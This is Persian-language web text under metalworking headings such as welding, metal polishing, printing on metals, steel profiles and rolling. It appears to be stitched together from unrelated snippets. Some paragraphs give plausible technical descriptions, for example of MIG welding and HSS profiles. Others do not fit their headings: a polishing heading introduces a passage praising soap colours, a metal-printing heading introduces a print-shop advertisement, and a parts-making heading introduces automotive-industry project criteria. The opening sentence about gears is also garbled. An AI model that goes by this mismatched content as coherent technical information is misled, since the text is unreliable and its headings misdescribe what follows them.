به عنوان مثال یک چرخ دنده احتیاج به پوششی مقاوم دارد تا در برابر سایش مقاوم باشد ولی گوشتهای مقاوم به تنش در آن وجود دارد. برای ساختن اینگونه از چرخ دندهها استفاده از ریخته گری و یا فرآیندهای دیگر امکانپذیر نیست و باید از جوش استفاده کرد.
پولیش کاری فلزات
تاکنون باید متوجه شده باشید، که هر کدام از رنگ های صابون گیلانس خاصیت های ویژه ای دارند؛ که موجب تفاوت آنها با یکدیگر شده است. یکی از مهم ترین مزیت های صابون گیلانس این می باشد که تنوع بسیار بالایی دارد؛ به همین خاطر برای هر نوع سلیقه ای مناسب می باشد یا به عبارت دیگر جوابگوی نیاز هر سلیقه و نظری می باشد. از همین رو دست شما در انتخاب و خرید صابون گیلانس باز می باشد. بنابراین می توان گفت، وجود این مزیت سبب شده تا مردم هیچ گونه محدودیتی در انتخاب و خرید نداشته باشند.
چاپ روی فلزات
مجتمع چاپ هنر نوین با بیش از سال تجربه و با دارا بودن چاپخانه مجهز، دستگاه های پیشرفته چاپ و کادری مجرب آماده همکاری با کلیه کارخانجات، برندها، شرکت ها و موسسات با بهترین کیفیت و مناسب ترین قیمت می باشد. افتخار ما همکاری با برند های مطرح و بزرگ کشور از جمله الجی، سونی، میهن، کاله، کالبر، پگاه، مدیران خودرو، زر ماکارون، گلرنگ و غیره در زمینه های گوناگون طراحی، چاپ و تبلیغات می باشد.
قطعه سازی
با توجه به موارد ذکر شده، سنجه هایی مانند «قرار داشتن پروژه در گلوگاه کاری»، «وجود عزم انجام کار و مستندات تصویب پروژه در هیئت مدیره شرکت خودروساز»، «حجم کار انجام شده و پیشرفت کار تاکنون» «وجود تعریف مشخص و پرهیز از کلیگویی»، «وجود راه حل های جایگزین و بحث تحریم ها» و «نیازمندی پروژه به همکاری های بالادستی» برای ورود به حوزه خودروسازی نیز پیشنهاد میشود.
جوشکاری
یکی از مهمترین کاربردهای جوشکاری در صنایع ایجاد محافظت برای فلزات پرکننده و یا فلزات ذوب شده در برابر زنگ زدگی و یا آلودگی میباشد. برای ایجاد گرمای مورد نیاز در جوشکاری از منابع مختلفی مانند شعله گاز، قوس الکتریکی، لیزر، پرتوی الکترون، اصطکاک و همچنین از امواج مافوق صوت میتوان استفاده کرد.
پروفیل های فلزی
پروفیل های HSS یا همان (Hollow structural section) مقاطع سازهای توخالی هستند که مصالح جدیدی محسوب میشوند. این پروفیلها که مقاطعی مربعی، مستطیلی و دایرهای دارند، گاهی با لوله و قوطی اشتباه گرفته میشوند اما تفاوتهایی بین این دو وجود دارد.
جوشکاری
جوشکاری قوس فلزی گازی (GMAW) یا جوشکاری میگ ، نوعی فرآیند جوشکاری قوس الکتریکی است که در آن منبع گرما، قوسی است که بین الکترود فلزی ایجاد میشود و درواقع به عنوان منبع گرما عمل میکند. گازهای بی اثری مانند آرگون و یا هلیوم به عنوان گازهای محافظ در این فرآیند عمل میکنند.
پروفیل های فلزی
پروفیل های U به عنوان purlin ، stringcourse و نمای در ساختمانهای صنعتی با فولاد سنگین که در معرض بارهای بیش از حد قرار دارند و به عنوان ستون باربری، تیر و خرپا سقف در سازه های فولادی غیر صنعتی مانند سازه های فلزی سنج سبک، انبارها، آشیانه ها و انبارها استفاده می شوند. به عنوان باربری یا عنصر کمکی در ساخت و سازهای صنعتی و ساختمانهای فلزی کاربرد دارند.
پروفیل های فلزی
– محاسبه عرض مورد نیاز ورق خام برای تولید محصول. با توجه به سایزهای متفاوت پروفیل صنعتی و همچنین با در نظر گرفتن ضخامت ورق، می بایست پهنای ورق خام مشخص گردد. در این محاسبه همچنین مقداری برای پرت (کناره جوش) در نظر گرفته می شود.
پولیش کاری فلزات
استفاده از دستگاه های سنگ زنی فلزات روش دیگری برای پرداخت کاری این محصولات می باشد. این دستگاه ها برای صاف و صیقلی کردن سطوح محصولات فلزی از روش هایی مانند اعمال نیروهای اصطکاکی، سایش یا فشرده سازی استفاده می کنند. خود دستگاه های سنگ زنی دارای انواع مختلفی هستند که برای کاربرهای متفاوت طراحی شده اند. اما بیشتر آن ها دارای یک بستر درون یک درام چرخشی می باشند. دو نمونه پرکاربرد دستگاه های سنگ زنی فلزات شامل آسیاب های میله ای برای ساخت میله های فلزی و آسیاب های سنگ زنی نیمه اتوژن (SAG) و اتوژن برای پرداخت فلزات خاص مانند پلاتین، نقره، طلا و مس می باشند.
نورد فلزات
دستگاه نورد دو غلتک استوانهای دارد که با نیروی وارده توسط موتور در سمت مخالف نسبت به یکدیگر حرکت میکنند. غلتکها در محفظهای به نام قفسه قرار داده میشوند که این قفسه بر اساس تعداد قالب و طراحی، انواع مختلفی همچون قفسه دو غلتکی، سه غلتکی، اقماری و غیره دارد.
پولیش کاری فلزات
پرداخت کاری سطح (Surface finishing) فلزات که به آن پولیش هم گفته می شود به معنی صاف و براق کردن یا ایجاد تغییراتی برای رفع نواقص کار در سطح آن می باشد. در واقع پرداخت کاری فلزات باعث بهبود ظاهر هر کار تولید شده می شود. برای این کار از انواع دستگاه های پرداخت کاری مانند پولیش و گیلانس استفاده می کنند تا تمامی و یا اکثر ضایعات حاصل از برش را از بین ببرند. می توان گفت پرداخت کاری قطعات فلزی صنعتی یکی از مهمترین مراحل تولید آن ها می باشد که تأثیر زیادی بر کیفیت قطعات تولید شده خواهد داشت. این پرداخت کاری علاوه بر زیبایی کار باعث جلوگیری از خوردگی و افزایش مقاومت آن ها در برای تغییر شکل و سایش می شود. همچنین مقاومت قطعات در برابر واکنش های شیمیایی را افزایش خواهد داد و میزان اصطکاک سطحی را کنترل می کند.